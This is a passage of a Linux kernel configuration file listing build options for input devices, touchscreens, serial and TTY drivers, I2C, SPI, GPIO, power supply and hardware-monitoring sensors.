# CONFIG_JOYSTICK_SENSEHAT is not set
# CONFIG_JOYSTICK_SEESAW is not set
CONFIG_INPUT_TABLET=y
CONFIG_TABLET_USB_ACECAD=y
CONFIG_TABLET_USB_AIPTEK=y
CONFIG_TABLET_USB_HANWANG=y
CONFIG_TABLET_USB_KBTAB=y
CONFIG_TABLET_USB_PEGASUS=y
# CONFIG_TABLET_SERIAL_WACOM4 is not set
CONFIG_INPUT_TOUCHSCREEN=y
# CONFIG_TOUCHSCREEN_ADS7846 is not set
# CONFIG_TOUCHSCREEN_AD7877 is not set
# CONFIG_TOUCHSCREEN_AD7879 is not set
# CONFIG_TOUCHSCREEN_ADC is not set
# CONFIG_TOUCHSCREEN_AR1021_I2C is not set
# CONFIG_TOUCHSCREEN_ATMEL_MXT is not set
# CONFIG_TOUCHSCREEN_AUO_PIXCIR is not set
# CONFIG_TOUCHSCREEN_BU21013 is not set
# CONFIG_TOUCHSCREEN_BU21029 is not set
# CONFIG_TOUCHSCREEN_CHIPONE_ICN8318 is not set
# CONFIG_TOUCHSCREEN_CHIPONE_ICN8505 is not set
# CONFIG_TOUCHSCREEN_CY8CTMA140 is not set
# CONFIG_TOUCHSCREEN_CY8CTMG110 is not set
# CONFIG_TOUCHSCREEN_CYTTSP_CORE is not set
# CONFIG_TOUCHSCREEN_CYTTSP5 is not set
# CONFIG_TOUCHSCREEN_DYNAPRO is not set
# CONFIG_TOUCHSCREEN_HAMPSHIRE is not set
# CONFIG_TOUCHSCREEN_EETI is not set
# CONFIG_TOUCHSCREEN_EGALAX is not set
# CONFIG_TOUCHSCREEN_EGALAX_SERIAL is not set
# CONFIG_TOUCHSCREEN_EXC3000 is not set
# CONFIG_TOUCHSCREEN_FUJITSU is not set
# CONFIG_TOUCHSCREEN_GOODIX is not set
# CONFIG_TOUCHSCREEN_GOODIX_BERLIN_I2C is not set
# CONFIG_TOUCHSCREEN_GOODIX_BERLIN_SPI is not set
# CONFIG_TOUCHSCREEN_HIDEEP is not set
# CONFIG_TOUCHSCREEN_HIMAX_HX852X is not set
# CONFIG_TOUCHSCREEN_HYCON_HY46XX is not set
# CONFIG_TOUCHSCREEN_HYNITRON_CSTXXX is not set
# CONFIG_TOUCHSCREEN_HYNITRON_CST816X is not set
# CONFIG_TOUCHSCREEN_ILI210X is not set
# CONFIG_TOUCHSCREEN_ILITEK is not set
# CONFIG_TOUCHSCREEN_S6SY761 is not set
# CONFIG_TOUCHSCREEN_GUNZE is not set
# CONFIG_TOUCHSCREEN_EKTF2127 is not set
# CONFIG_TOUCHSCREEN_ELAN is not set
# CONFIG_TOUCHSCREEN_ELO is not set
# CONFIG_TOUCHSCREEN_WACOM_W8001 is not set
# CONFIG_TOUCHSCREEN_WACOM_I2C is not set
# CONFIG_TOUCHSCREEN_WACOM_W9000 is not set
# CONFIG_TOUCHSCREEN_MAX11801 is not set
# CONFIG_TOUCHSCREEN_MMS114 is not set
# CONFIG_TOUCHSCREEN_MELFAS_MIP4 is not set
# CONFIG_TOUCHSCREEN_MSG2638 is not set
# CONFIG_TOUCHSCREEN_MTOUCH is not set
# CONFIG_TOUCHSCREEN_NOVATEK_NVT_TS is not set
# CONFIG_TOUCHSCREEN_IMAGIS is not set
# CONFIG_TOUCHSCREEN_IMX6UL_TSC is not set
# CONFIG_TOUCHSCREEN_INEXIO is not set
# CONFIG_TOUCHSCREEN_PENMOUNT is not set
# CONFIG_TOUCHSCREEN_EDT_FT5X06 is not set
# CONFIG_TOUCHSCREEN_TOUCHRIGHT is not set
# CONFIG_TOUCHSCREEN_TOUCHWIN is not set
# CONFIG_TOUCHSCREEN_PIXCIR is not set
# CONFIG_TOUCHSCREEN_WDT87XX_I2C is not set
CONFIG_TOUCHSCREEN_USB_COMPOSITE=y
CONFIG_TOUCHSCREEN_USB_EGALAX=y
CONFIG_TOUCHSCREEN_USB_PANJIT=y
CONFIG_TOUCHSCREEN_USB_3M=y
CONFIG_TOUCHSCREEN_USB_ITM=y
CONFIG_TOUCHSCREEN_USB_ETURBO=y
CONFIG_TOUCHSCREEN_USB_GUNZE=y
CONFIG_TOUCHSCREEN_USB_DMC_TSC10=y
CONFIG_TOUCHSCREEN_USB_IRTOUCH=y
CONFIG_TOUCHSCREEN_USB_IDEALTEK=y
CONFIG_TOUCHSCREEN_USB_GENERAL_TOUCH=y
CONFIG_TOUCHSCREEN_USB_GOTOP=y
CONFIG_TOUCHSCREEN_USB_JASTEC=y
CONFIG_TOUCHSCREEN_USB_ELO=y
CONFIG_TOUCHSCREEN_USB_E2I=y
CONFIG_TOUCHSCREEN_USB_ZYTRONIC=y
CONFIG_TOUCHSCREEN_USB_ETT_TC45USB=y
CONFIG_TOUCHSCREEN_USB_NEXIO=y
CONFIG_TOUCHSCREEN_USB_EASYTOUCH=y
# CONFIG_TOUCHSCREEN_TOUCHIT213 is not set
# CONFIG_TOUCHSCREEN_TSC_SERIO is not set
# CONFIG_TOUCHSCREEN_TSC2004 is not set
# CONFIG_TOUCHSCREEN_TSC2005 is not set
# CONFIG_TOUCHSCREEN_TSC2007 is not set
# CONFIG_TOUCHSCREEN_RM_TS is not set
# CONFIG_TOUCHSCREEN_SILEAD is not set
# CONFIG_TOUCHSCREEN_SIS_I2C is not set
# CONFIG_TOUCHSCREEN_ST1232 is not set
# CONFIG_TOUCHSCREEN_STMFTS is not set
CONFIG_TOUCHSCREEN_SUR40=y
# CONFIG_TOUCHSCREEN_SURFACE3_SPI is not set
# CONFIG_TOUCHSCREEN_SX8654 is not set
# CONFIG_TOUCHSCREEN_TPS6507X is not set
# CONFIG_TOUCHSCREEN_ZET6223 is not set
# CONFIG_TOUCHSCREEN_ZFORCE is not set
# CONFIG_TOUCHSCREEN_COLIBRI_VF50 is not set
# CONFIG_TOUCHSCREEN_ROHM_BU21023 is not set
# CONFIG_TOUCHSCREEN_IQS5XX is not set
# CONFIG_TOUCHSCREEN_IQS7211 is not set
# CONFIG_TOUCHSCREEN_ZINITIX is not set
# CONFIG_TOUCHSCREEN_HIMAX_HX83112B is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_AD714X is not set
# CONFIG_INPUT_ATMEL_CAPTOUCH is not set
# CONFIG_INPUT_AW86927 is not set
# CONFIG_INPUT_BMA150 is not set
# CONFIG_INPUT_E3X0_BUTTON is not set
# CONFIG_INPUT_PCSPKR is not set
# CONFIG_INPUT_MMA8450 is not set
# CONFIG_INPUT_APANEL is not set
# CONFIG_INPUT_GPIO_BEEPER is not set
# CONFIG_INPUT_GPIO_DECODER is not set
# CONFIG_INPUT_GPIO_VIBRA is not set
# CONFIG_INPUT_ATLAS_BTNS is not set
CONFIG_INPUT_ATI_REMOTE2=y
CONFIG_INPUT_KEYSPAN_REMOTE=y
# CONFIG_INPUT_KXTJ9 is not set
CONFIG_INPUT_POWERMATE=y
CONFIG_INPUT_YEALINK=y
CONFIG_INPUT_CM109=y
# CONFIG_INPUT_REGULATOR_HAPTIC is not set
# CONFIG_INPUT_RETU_PWRBUTTON is not set
# CONFIG_INPUT_TWL4030_PWRBUTTON is not set
# CONFIG_INPUT_TWL4030_VIBRA is not set
CONFIG_INPUT_UINPUT=y
# CONFIG_INPUT_PCF8574 is not set
# CONFIG_INPUT_GPIO_ROTARY_ENCODER is not set
# CONFIG_INPUT_DA7280_HAPTICS is not set
# CONFIG_INPUT_ADXL34X is not set
# CONFIG_INPUT_IBM_PANEL is not set
CONFIG_INPUT_IMS_PCU=y
# CONFIG_INPUT_IQS269A is not set
# CONFIG_INPUT_IQS626A is not set
# CONFIG_INPUT_IQS7222 is not set
# CONFIG_INPUT_ISA1200_HAPTIC is not set
# CONFIG_INPUT_CMA3000 is not set
# CONFIG_INPUT_IDEAPAD_SLIDEBAR is not set
# CONFIG_INPUT_AMD_SFH_TABLETMODE is not set
# CONFIG_INPUT_DRV260X_HAPTICS is not set
# CONFIG_INPUT_DRV2665_HAPTICS is not set
# CONFIG_INPUT_DRV2667_HAPTICS is not set
CONFIG_RMI4_CORE=y
# CONFIG_RMI4_I2C is not set
# CONFIG_RMI4_SPI is not set
# CONFIG_RMI4_SMB is not set
CONFIG_RMI4_F03=y
CONFIG_RMI4_F03_SERIO=y
CONFIG_RMI4_2D_SENSOR=y
CONFIG_RMI4_F11=y
CONFIG_RMI4_F12=y
# CONFIG_RMI4_F1A is not set
# CONFIG_RMI4_F21 is not set
CONFIG_RMI4_F30=y
# CONFIG_RMI4_F34 is not set
CONFIG_RMI4_F3A=y
# CONFIG_RMI4_F54 is not set
# CONFIG_RMI4_F55 is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_ARCH_MIGHT_HAVE_PC_SERIO=y
CONFIG_SERIO_I8042=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_PARKBD is not set
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_SERIO_ARC_PS2 is not set
# CONFIG_SERIO_APBPS2 is not set
# CONFIG_SERIO_GPIO_PS2 is not set
CONFIG_USERIO=y
# CONFIG_GAMEPORT is not set
# end of Hardware I/O ports
# end of Input device support

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_VT_CONSOLE_SLEEP=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_UNIX98_PTYS=y
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
CONFIG_LEGACY_TIOCSTI=y
CONFIG_LDISC_AUTOLOAD=y

#
# Serial drivers
#
CONFIG_SERIAL_EARLYCON=y
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_PNP=y
# CONFIG_SERIAL_8250_16550A_VARIANTS is not set
# CONFIG_SERIAL_8250_FINTEK is not set
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_DMA=y
CONFIG_SERIAL_8250_PCILIB=y
CONFIG_SERIAL_8250_PCI=y
# CONFIG_SERIAL_8250_EXAR is not set
CONFIG_SERIAL_8250_MOXA_PCIE=y
# CONFIG_SERIAL_8250_CS is not set
CONFIG_SERIAL_8250_NR_UARTS=32
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
CONFIG_SERIAL_8250_DETECT_IRQ=y
CONFIG_SERIAL_8250_RSA=y
CONFIG_SERIAL_8250_MANY_PORTS=y
# CONFIG_SERIAL_8250_PCI1XXXX is not set
# CONFIG_SERIAL_8250_DW is not set
# CONFIG_SERIAL_8250_RT288X is not set
CONFIG_SERIAL_8250_LPSS=y
CONFIG_SERIAL_8250_MID=y
CONFIG_SERIAL_8250_PERICOM=y
# CONFIG_SERIAL_8250_NI is not set
# CONFIG_SERIAL_OF_PLATFORM is not set
CONFIG_SERIAL_8250_DWLIB=y

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MAX3100 is not set
# CONFIG_SERIAL_MAX310X is not set
# CONFIG_SERIAL_UARTLITE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_SIFIVE is not set
# CONFIG_SERIAL_LANTIQ is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_SC16IS7XX is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_XILINX_PS_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_SERIAL_FSL_LPUART is not set
# CONFIG_SERIAL_FSL_LINFLEXUART is not set
# CONFIG_SERIAL_CONEXANT_DIGICOLOR is not set
# CONFIG_SERIAL_SPRD is not set
# end of Serial drivers

CONFIG_SERIAL_MCTRL_GPIO=y
CONFIG_SERIAL_NONSTANDARD=y
# CONFIG_MOXA_INTELLIO is not set
# CONFIG_MOXA_SMARTIO is not set
CONFIG_N_HDLC=y
CONFIG_N_GSM=y
CONFIG_NOZOMI=y
CONFIG_NULL_TTY=y
CONFIG_HVC_DRIVER=y
CONFIG_SERIAL_DEV_BUS=y
CONFIG_RUST_SERIAL_DEV_BUS_ABSTRACTIONS=y
CONFIG_SERIAL_DEV_CTRL_TTYPORT=y
CONFIG_TTY_PRINTK=y
CONFIG_TTY_PRINTK_LEVEL=6
# CONFIG_PRINTER is not set
# CONFIG_PPDEV is not set
CONFIG_VIRTIO_CONSOLE=y
# CONFIG_IPMI_HANDLER is not set
# CONFIG_SSIF_IPMI_BMC is not set
# CONFIG_IPMB_DEVICE_INTERFACE is not set
CONFIG_HW_RANDOM=y
# CONFIG_HW_RANDOM_TIMERIOMEM is not set
# CONFIG_HW_RANDOM_INTEL is not set
# CONFIG_HW_RANDOM_AMD is not set
# CONFIG_HW_RANDOM_BA431 is not set
# CONFIG_HW_RANDOM_VIA is not set
CONFIG_HW_RANDOM_VIRTIO=y
# CONFIG_HW_RANDOM_CCTRNG is not set
# CONFIG_HW_RANDOM_XIPHERA is not set
# CONFIG_DEVMEM is not set
CONFIG_NVRAM=y
# CONFIG_DEVPORT is not set
CONFIG_HPET=y
CONFIG_HPET_MMAP=y
CONFIG_HPET_MMAP_DEFAULT=y
# CONFIG_HANGCHECK_TIMER is not set
CONFIG_TCG_TPM=y
# CONFIG_TCG_TPM2_HMAC is not set
# CONFIG_HW_RANDOM_TPM is not set
CONFIG_TCG_TIS_CORE=y
CONFIG_TCG_TIS=y
# CONFIG_TCG_TIS_SPI is not set
# CONFIG_TCG_TIS_I2C is not set
# CONFIG_TCG_TIS_I2C_CR50 is not set
# CONFIG_TCG_TIS_I2C_ATMEL is not set
# CONFIG_TCG_TIS_I2C_INFINEON is not set
# CONFIG_TCG_TIS_I2C_NUVOTON is not set
# CONFIG_TCG_NSC is not set
# CONFIG_TCG_ATMEL is not set
# CONFIG_TCG_INFINEON is not set
CONFIG_TCG_CRB=y
# CONFIG_TCG_VTPM_PROXY is not set
# CONFIG_TCG_TIS_ST33ZP24_I2C is not set
# CONFIG_TCG_TIS_ST33ZP24_SPI is not set
# CONFIG_TELCLOCK is not set
CONFIG_XILLYBUS_CLASS=y
# CONFIG_XILLYBUS is not set
CONFIG_XILLYUSB=y
# end of Character devices

#
# I2C support
#
CONFIG_I2C=y
CONFIG_ACPI_I2C_OPREGION=y
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_CHARDEV=y
CONFIG_I2C_MUX=y

#
# Multiplexer I2C Chip support
#
# CONFIG_I2C_ARB_GPIO_CHALLENGE is not set
# CONFIG_I2C_MUX_GPIO is not set
# CONFIG_I2C_MUX_GPMUX is not set
# CONFIG_I2C_MUX_LTC4306 is not set
# CONFIG_I2C_MUX_PCA9541 is not set
# CONFIG_I2C_MUX_PCA954x is not set
CONFIG_I2C_MUX_REG=y
# CONFIG_I2C_MUX_MLXCPLD is not set
# end of Multiplexer I2C Chip support

CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_SMBUS=y
CONFIG_I2C_ALGOBIT=y

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_AMD_MP2 is not set
CONFIG_I2C_I801=y
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_ISMT is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_CHT_WC is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_NVIDIA_GPU is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set
# CONFIG_I2C_ZHAOXIN is not set

#
# ACPI drivers
#
# CONFIG_I2C_SCMI is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_CBUS_GPIO is not set
CONFIG_I2C_DESIGNWARE_CORE=y
CONFIG_I2C_DESIGNWARE_PLATFORM=y
# CONFIG_I2C_DESIGNWARE_BAYTRAIL is not set
# CONFIG_I2C_DESIGNWARE_PCI is not set
# CONFIG_I2C_EMEV2 is not set
# CONFIG_I2C_GPIO is not set
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_RK3X is not set
# CONFIG_I2C_SIMTEC is not set
# CONFIG_I2C_XILINX is not set

#
# External I2C/SMBus adapter drivers
#
CONFIG_I2C_DIOLAN_U2C=y
CONFIG_I2C_DLN2=y
CONFIG_I2C_LJCA=y
CONFIG_I2C_CP2615=y
# CONFIG_I2C_PARPORT is not set
# CONFIG_I2C_PCI1XXXX is not set
CONFIG_I2C_ROBOTFUZZ_OSIF=y
# CONFIG_I2C_TAOS_EVM is not set
CONFIG_I2C_TINY_USB=y
CONFIG_I2C_VIPERBOARD=y

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_MLXCPLD is not set
# CONFIG_I2C_VIRTIO is not set
# end of I2C Hardware Bus support

# CONFIG_I2C_STUB is not set
CONFIG_I2C_SLAVE=y
CONFIG_I2C_SLAVE_EEPROM=y
# CONFIG_I2C_SLAVE_TESTUNIT is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
# end of I2C support

# CONFIG_I3C is not set
CONFIG_I3C_OR_I2C=y
CONFIG_SPI=y
# CONFIG_SPI_DEBUG is not set
CONFIG_SPI_MASTER=y
# CONFIG_SPI_MEM is not set

#
# SPI Master Controller Drivers
#
# CONFIG_SPI_ALTERA is not set
# CONFIG_SPI_AXI_SPI_ENGINE is not set
# CONFIG_SPI_BITBANG is not set
# CONFIG_SPI_BUTTERFLY is not set
# CONFIG_SPI_CADENCE is not set
# CONFIG_SPI_CADENCE_QUADSPI is not set
# CONFIG_SPI_CH341 is not set
# CONFIG_SPI_DESIGNWARE is not set
CONFIG_SPI_DLN2=y
# CONFIG_SPI_FSL_SPI is not set
# CONFIG_SPI_GPIO is not set
# CONFIG_SPI_LANTIQ_SSC is not set
CONFIG_SPI_LJCA=y
# CONFIG_SPI_LM70_LLP is not set
# CONFIG_SPI_MICROCHIP_CORE_QSPI is not set
# CONFIG_SPI_MICROCHIP_CORE_SPI is not set
# CONFIG_SPI_MXIC is not set
# CONFIG_SPI_OC_TINY is not set
# CONFIG_SPI_PCI1XXXX is not set
# CONFIG_SPI_PXA2XX is not set
# CONFIG_SPI_SC18IS602 is not set
# CONFIG_SPI_SIFIVE is not set
# CONFIG_SPI_TLE62X0 is not set
# CONFIG_SPI_VIRTIO is not set
# CONFIG_SPI_XCOMM is not set
# CONFIG_SPI_XILINX is not set

#
# SPI Multiplexer support
#
# CONFIG_SPI_MUX is not set

#
# SPI Protocol Masters
#
# CONFIG_SPI_SPIDEV is not set
# CONFIG_SPI_LOOPBACK_TEST is not set
# CONFIG_SPI_SLAVE is not set
CONFIG_SPI_DYNAMIC=y
# CONFIG_SPMI is not set
# CONFIG_HSI is not set
CONFIG_PPS=y
# CONFIG_PPS_DEBUG is not set

#
# PPS clients support
#
# CONFIG_PPS_CLIENT_KTIMER is not set
# CONFIG_PPS_CLIENT_LDISC is not set
# CONFIG_PPS_CLIENT_PARPORT is not set
# CONFIG_PPS_CLIENT_GPIO is not set
# CONFIG_PPS_GENERATOR is not set

#
# PTP clock support
#
CONFIG_PTP_1588_CLOCK=y
CONFIG_PTP_1588_CLOCK_OPTIONAL=y

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
CONFIG_PTP_1588_CLOCK_KVM=y
CONFIG_PTP_1588_CLOCK_VMCLOCK=y
# CONFIG_PTP_1588_CLOCK_IDT82P33 is not set
# CONFIG_PTP_1588_CLOCK_IDTCM is not set
# CONFIG_PTP_1588_CLOCK_FC3W is not set
# CONFIG_PTP_1588_CLOCK_MOCK is not set
# CONFIG_PTP_1588_CLOCK_VMW is not set
# CONFIG_PTP_1588_CLOCK_OCP is not set
# CONFIG_PTP_NETC_V4_TIMER is not set
# end of PTP clock support

#
# DPLL device support
#
# CONFIG_ZL3073X_I2C is not set
# CONFIG_ZL3073X_SPI is not set
# end of DPLL device support

# CONFIG_PINCTRL is not set
CONFIG_GPIOLIB_LEGACY=y
CONFIG_GPIOLIB=y
CONFIG_GPIOLIB_FASTPATH_LIMIT=512
CONFIG_OF_GPIO=y
CONFIG_GPIO_ACPI=y
CONFIG_GPIOLIB_IRQCHIP=y
# CONFIG_DEBUG_GPIO is not set
# CONFIG_GPIO_SYSFS is not set
# CONFIG_GPIO_CDEV is not set

#
# Memory mapped GPIO drivers
#
# CONFIG_GPIO_74XX_MMIO is not set
# CONFIG_GPIO_ALTERA is not set
# CONFIG_GPIO_AMDPT is not set
# CONFIG_GPIO_BY_PINCTRL is not set
# CONFIG_GPIO_CADENCE is not set
# CONFIG_GPIO_DWAPB is not set
# CONFIG_GPIO_FTGPIO010 is not set
# CONFIG_GPIO_GENERIC_PLATFORM is not set
# CONFIG_GPIO_GRANITERAPIDS is not set
# CONFIG_GPIO_GRGPIO is not set
# CONFIG_GPIO_HLWD is not set
# CONFIG_GPIO_ICH is not set
# CONFIG_GPIO_LOGICVC is not set
# CONFIG_GPIO_MB86S7X is not set
# CONFIG_GPIO_POLARFIRE_SOC is not set
# CONFIG_GPIO_SIFIVE is not set
# CONFIG_GPIO_SYSCON is not set
# CONFIG_GPIO_WAVESHARE_DSI_TOUCH is not set
# CONFIG_GPIO_XILINX is not set
# CONFIG_GPIO_AMD_FCH is not set
# end of Memory mapped GPIO drivers

#
# Port-mapped I/O GPIO drivers
#
# CONFIG_GPIO_VX855 is not set
# CONFIG_GPIO_F7188X is not set
# CONFIG_GPIO_IT87 is not set
# CONFIG_GPIO_NOVALAKE is not set
# CONFIG_GPIO_SCH311X is not set
# CONFIG_GPIO_WINBOND is not set
# CONFIG_GPIO_WS16C48 is not set
# end of Port-mapped I/O GPIO drivers

#
# I2C GPIO expanders
#
# CONFIG_GPIO_ADNP is not set
# CONFIG_GPIO_FXL6408 is not set
# CONFIG_GPIO_DS4520 is not set
# CONFIG_GPIO_GW_PLD is not set
# CONFIG_GPIO_MAX7300 is not set
# CONFIG_GPIO_MAX732X is not set
# CONFIG_GPIO_PCA953X is not set
# CONFIG_GPIO_PCA9570 is not set
# CONFIG_GPIO_PCF857X is not set
# CONFIG_GPIO_TPIC2810 is not set
# end of I2C GPIO expanders

#
# MFD GPIO expanders
#
CONFIG_GPIO_DLN2=y
CONFIG_GPIO_LJCA=y
# CONFIG_GPIO_TWL4030 is not set
# CONFIG_GPIO_WHISKEY_COVE is not set
# end of MFD GPIO expanders

#
# Auxiliary Bus GPIO drivers
#
# end of Auxiliary Bus GPIO drivers

#
# PCI GPIO expanders
#
# CONFIG_GPIO_AMD8111 is not set
# CONFIG_GPIO_BT8XX is not set
# CONFIG_GPIO_ML_IOH is not set
# CONFIG_GPIO_PCI_IDIO_16 is not set
# CONFIG_GPIO_PCIE_IDIO_24 is not set
# CONFIG_GPIO_RDC321X is not set
# CONFIG_GPIO_SODAVILLE is not set
# end of PCI GPIO expanders

#
# SPI GPIO expanders
#
# CONFIG_GPIO_74X164 is not set
# CONFIG_GPIO_MAX3191X is not set
# CONFIG_GPIO_MAX7301 is not set
# CONFIG_GPIO_MC33880 is not set
# CONFIG_GPIO_PISOSR is not set
# CONFIG_GPIO_XRA1403 is not set
# end of SPI GPIO expanders

#
# USB GPIO expanders
#
CONFIG_GPIO_VIPERBOARD=y
# CONFIG_GPIO_MPSSE is not set
# end of USB GPIO expanders

#
# Virtual GPIO drivers
#
# CONFIG_GPIO_AGGREGATOR is not set
# CONFIG_GPIO_LATCH is not set
# CONFIG_GPIO_LINE_MUX is not set
# CONFIG_GPIO_MOCKUP is not set
# CONFIG_GPIO_VIRTIO is not set
# CONFIG_GPIO_SIM is not set
# end of Virtual GPIO drivers

#
# GPIO Debugging utilities
#
# CONFIG_GPIO_SLOPPY_LOGIC_ANALYZER is not set
# CONFIG_GPIO_VIRTUSER is not set
# end of GPIO Debugging utilities

# CONFIG_W1 is not set
# CONFIG_POWER_RESET is not set
# CONFIG_POWER_SEQUENCING is not set
CONFIG_POWER_SUPPLY=y
# CONFIG_POWER_SUPPLY_DEBUG is not set
CONFIG_POWER_SUPPLY_HWMON=y
# CONFIG_GENERIC_ADC_BATTERY is not set
# CONFIG_IP5XXX_POWER is not set
# CONFIG_TEST_POWER is not set
# CONFIG_CHARGER_ADP5061 is not set
# CONFIG_BATTERY_CHAGALL is not set
# CONFIG_BATTERY_CW2015 is not set
# CONFIG_BATTERY_DS2780 is not set
# CONFIG_BATTERY_DS2781 is not set
# CONFIG_BATTERY_DS2782 is not set
# CONFIG_BATTERY_SAMSUNG_SDI is not set
# CONFIG_BATTERY_S2MU005 is not set
# CONFIG_BATTERY_SBS is not set
# CONFIG_CHARGER_SBS is not set
# CONFIG_MANAGER_SBS is not set
# CONFIG_BATTERY_BQ27XXX is not set
# CONFIG_BATTERY_MAX17040 is not set
# CONFIG_BATTERY_MAX17042 is not set
# CONFIG_BATTERY_MAX1720X is not set
CONFIG_CHARGER_ISP1704=y
# CONFIG_CHARGER_MAX8903 is not set
# CONFIG_CHARGER_TWL4030 is not set
# CONFIG_CHARGER_TWL6030 is not set
# CONFIG_CHARGER_LP8727 is not set
# CONFIG_CHARGER_GPIO is not set
# CONFIG_CHARGER_MANAGER is not set
# CONFIG_CHARGER_LT3651 is not set
# CONFIG_CHARGER_LTC4162L is not set
# CONFIG_CHARGER_DETECTOR_MAX14656 is not set
# CONFIG_CHARGER_MAX77976 is not set
# CONFIG_CHARGER_MAX8971 is not set
# CONFIG_CHARGER_MT6360 is not set
# CONFIG_CHARGER_MT6370 is not set
# CONFIG_CHARGER_BQ2415X is not set
CONFIG_CHARGER_BQ24190=y
# CONFIG_CHARGER_BQ24257 is not set
# CONFIG_CHARGER_BQ24735 is not set
# CONFIG_CHARGER_BQ2515X is not set
# CONFIG_CHARGER_BQ25890 is not set
# CONFIG_CHARGER_BQ25980 is not set
# CONFIG_CHARGER_BQ25630 is not set
# CONFIG_CHARGER_BQ256XX is not set
# CONFIG_CHARGER_SGM41542 is not set
# CONFIG_CHARGER_SMB347 is not set
# CONFIG_BATTERY_GAUGE_LTC2941 is not set
# CONFIG_BATTERY_GOLDFISH is not set
# CONFIG_BATTERY_RT5033 is not set
# CONFIG_CHARGER_RT9455 is not set
# CONFIG_CHARGER_RT9467 is not set
# CONFIG_CHARGER_RT9471 is not set
# CONFIG_CHARGER_RT9756 is not set
# CONFIG_FUEL_GAUGE_STC3117 is not set
# CONFIG_CHARGER_UCS1002 is not set
# CONFIG_CHARGER_BD99954 is not set
# CONFIG_BATTERY_SURFACE is not set
# CONFIG_CHARGER_SURFACE is not set
# CONFIG_BATTERY_UG3105 is not set
# CONFIG_BATTERY_CHARGER_SURFACE_RT is not set
# CONFIG_FUEL_GAUGE_MM8013 is not set
CONFIG_HWMON=y
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_ABITUGURU is not set
# CONFIG_SENSORS_ABITUGURU3 is not set
# CONFIG_SENSORS_AD7314 is not set
# CONFIG_SENSORS_AD7414 is not set
# CONFIG_SENSORS_AD7418 is not set
# CONFIG_SENSORS_ADM1025 is not set
# CONFIG_SENSORS_ADM1026 is not set
# CONFIG_SENSORS_ADM1029 is not set
# CONFIG_SENSORS_ADM1031 is not set
# CONFIG_SENSORS_ADM1177 is not set
# CONFIG_SENSORS_ADM9240 is not set
# CONFIG_SENSORS_ADT7310 is not set
# CONFIG_SENSORS_ADT7410 is not set
# CONFIG_SENSORS_ADT7411 is not set
# CONFIG_SENSORS_ADT7462 is not set
# CONFIG_SENSORS_ADT7470 is not set
# CONFIG_SENSORS_ADT7475 is not set
# CONFIG_SENSORS_AHT10 is not set
CONFIG_SENSORS_AQUACOMPUTER_D5NEXT=y
# CONFIG_SENSORS_AS370 is not set
# CONFIG_SENSORS_ASC7621 is not set
# CONFIG_SENSORS_ASUS_ROG_RYUJIN is not set
# CONFIG_SENSORS_AXI_FAN_CONTROL is not set
# CONFIG_SENSORS_K8TEMP is not set
# CONFIG_SENSORS_K10TEMP is not set
# CONFIG_SENSORS_KB9002 is not set
# CONFIG_SENSORS_FAM15H_POWER is not set
# CONFIG_SENSORS_APPLESMC is not set
# CONFIG_SENSORS_ARCTIC_FAN_CONTROLLER is not set
# CONFIG_SENSORS_ASB100 is not set
# CONFIG_SENSORS_ATXP1 is not set
# CONFIG_SENSORS_CHIPCAP2 is not set
CONFIG_SENSORS_CORSAIR_CPRO=y
CONFIG_SENSORS_CORSAIR_PSU=y
# CONFIG_SENSORS_DRIVETEMP is not set
# CONFIG_SENSORS_DS620 is not set
# CONFIG_SENSORS_DS1621 is not set
# CONFIG_SENSORS_DELL_SMM is not set
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_F75375S is not set
# CONFIG_SENSORS_FSCHMD is not set
# CONFIG_SENSORS_FTSTEUTATES is not set
CONFIG_SENSORS_GIGABYTE_WATERFORCE=y
# CONFIG_SENSORS_GL518SM is not set
